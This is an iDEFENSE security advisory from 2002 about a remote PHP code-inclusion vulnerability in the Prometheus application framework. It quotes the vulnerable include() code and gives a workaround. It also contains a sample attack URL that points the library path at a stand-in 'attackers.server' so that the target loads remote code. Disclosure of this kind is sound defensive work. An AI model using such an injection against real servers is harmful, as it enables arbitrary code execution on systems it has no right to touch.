-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 iDEFENSE Security Advisory 10.31.02b: http://www.idefense.com/advisory/10.31.02b.txt Prometheus Application Framework Code Injection October 31, 2002 I. BACKGROUND Jason Orcutt's Prometheus is a web application framework written in PHP. It is available at http://prometheus.zerodivide.net. II. DESCRIPTION A remote attacker can inject into Prometheus arbitrary PHP code that executes under the privileges of the underlying web server. The crux of the problem lies in the following snippet of code extracted from the top of prometheus-library/all.lib: if ( ! isset( $PROMETHEUS_LIBRARY_BASE ) || $PROMETHEUS_LIBRARY_BASE == '') { $PROMETHEUS_LIBRARY_BASE = './prometheus-library'; } if ( ! isset( $PHP_AUTO_LOAD_LIB ) ) { $PHP_AUTO_LOAD_LIB = 0; } if ( ! isset( $PROMETHEUS_LIB_PATH ) ) { $PROMETHEUS_LIB_PATH = 0; } if ( $PHP_AUTO_LOAD_LIB == 0 ) { include( $PROMETHEUS_LIBRARY_BASE . '/autoload.lib' ); } if ( $PROMETHEUS_LIB_PATH == 0 ) { include( $PROMETHEUS_LIBRARY_BASE . '/prometheus- lib.path' ); } An attacker could force the application to load a tainted version of autoload.lib and prometheus-lib.path that contains arbitrary PHP code from a remote server by setting PHP_AUTO_LOAD_LIB to "0" and PROMETHEUS_LIBRARY_BASE to the address of the remote server. The following scripts can be targeted in this attack because all.lib is included without any filtering: * index.php * install.php * test_*.php The following is a sample attack URL that would cause "target.server" to load autoload.lib and prometheus-lib.path from "attackers.server". http://target.server/prometheus- all/index.php?PROMETHEUS_LIBRARY_BASE=http://attackers.ser ver/&PHP_AUTO_LOAD_LIB=0 III. ANALYSIS Remote exploitation allows an attacker to execute arbitrary commands and code under the privileges of the web server. This also opens the door to privilege escalation attacks. IV. DETECTION iDEFENSE has verified that Prometheus 6.0 is vulnerable. Versions 3.0-beta and 4.0-beta are also reportedly vulnerable. Other earlier versions may be vulnerable as well. To determine if a specific implementation is vulnerable, experiment with the above-described attack. V. WORKAROUND * First, locate the files that make dangerous calls to include(). The following sample command line accomplishes this: $ grep -n all.lib * -r | grep _BASE index.php:23:include( $PROMETHEUS_APP_BASE . '/prometheus-library/all.lib' ); scripts/view_theme.php3:6:include( $PROMETHEUS_LIBRARY_BASE . '/all.lib' ); * Next add the following line above the calls to include(): $PROMETHEUS_LIBRARY_BASE = './prometheus-library'; This should prevent attackers from arbitrarily setting the PROMETHEUS_LIBRARY_BASE variable to point to a remote location. VI. CVE INFORMATION The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project assigned the identification number CAN-2002-1211 to this issue. VII. DISCLOSURE TIMELINE 09/28/2002 Issue disclosed to iDEFENSE 10/14/2002 Author notified via e-mail to zerodivat_private 10/14/2002 iDEFENSE clients notified 10/14/2002 Response received from zerodivat_private 10/31/2002 Cooridinated public disclosure VIII. CREDIT Karol Wiesek (appelastat_private) is credited with discovering this vulnerability. Get paid for security research http://www.idefense.com/contributor.html Subscribe to iDEFENSE Advisories: send email to listservat_private, subject line: "subscribe" About iDEFENSE: iDEFENSE is a global security intelligence company that proactively monitors sources throughout the world — from technical vulnerabilities and hacker profiling to the global spread of viruses and other malicious code. Our security intelligence services provide decision-makers, frontline security professionals and network administrators with timely access to actionable intelligence and decision support on cyber-related threats. For more information, visit http://www.idefense.com. - -dave David Endler, CISSP Director, Technical Intelligence iDEFENSE, Inc. 14151 Newbrook Drive Suite 100 Chantilly, VA 20151 voice: 703-344-2632 fax: 703-961-1071 dendlerat_private www.idefense.com -----BEGIN PGP SIGNATURE----- Version: PGP 7.1.2 Comment: http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x4B0ACC2A iQA/AwUBPcHjIErdNYRLCswqEQJuxQCgpO8XkMgWWHj1zJYLteCMfLsiYswAoJYY pBLAN0F5p7+XiCYXoLdyAq/2 =LTcS -----END PGP SIGNATURE-----
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